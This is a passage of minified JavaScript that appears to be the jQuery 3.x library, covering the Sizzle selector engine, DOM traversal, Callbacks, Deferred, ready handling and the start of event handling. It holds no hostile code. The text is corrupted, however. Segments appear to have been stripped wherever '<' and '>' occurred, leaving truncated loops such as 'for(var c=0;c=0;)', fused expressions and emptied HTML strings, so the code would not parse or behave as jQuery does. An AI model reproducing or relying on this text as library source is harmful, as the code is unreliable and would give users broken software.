\w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"label"in b&&b.disabled===a||"form"in b&&b.disabled===a||"form"in b&&b.disabled===!1&&(b.isDisabled===a||b.isDisabled!==!a&&("label"in b||!ea(b))!==a)}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(_,aa),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=V.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(_,aa),$.test(j[0].type)&&qa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&sa(j),!a)return G.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||$.test(a)&&qa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext,B=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,C=/^.[^:#\[\.,]*$/;function D(a,b,c){if(r.isFunction(b))return r.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return r.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(C.test(b))return r.filter(b,a,c);b=r.filter(b,a)}return r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType})}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/\S+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(O(a,g.done(h(c)).resolve,g.reject),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&P.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener("DOMContentLoaded",R),a.removeEventListener("load",R),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",R),a.addEventListener("load",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0, +r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks("once memory").add(function(){V.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,ja=/^$|\/(?:java|ecma)script/i,ka={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ka.optgroup=ka.option,ka.tbody=ka.tfoot=ka.colgroup=ka.caption=ka.thead,ka.th=ka.td;function la(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&r.nodeName(a,b)?r.merge([a],c):c}function ma(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=la(l.appendChild(f),"script"),j&&ma(g),c){k=0;while(f=g[k++])ja.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var pa=d.documentElement,qa=/^key/,ra=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,sa=/^([^.]*)(?:\.(.+)|)/;function ta(){return!0}function ua(){return!1}function va(){try{return d.activeElement}catch(a){}}function wa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)wa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ua;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(pa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var 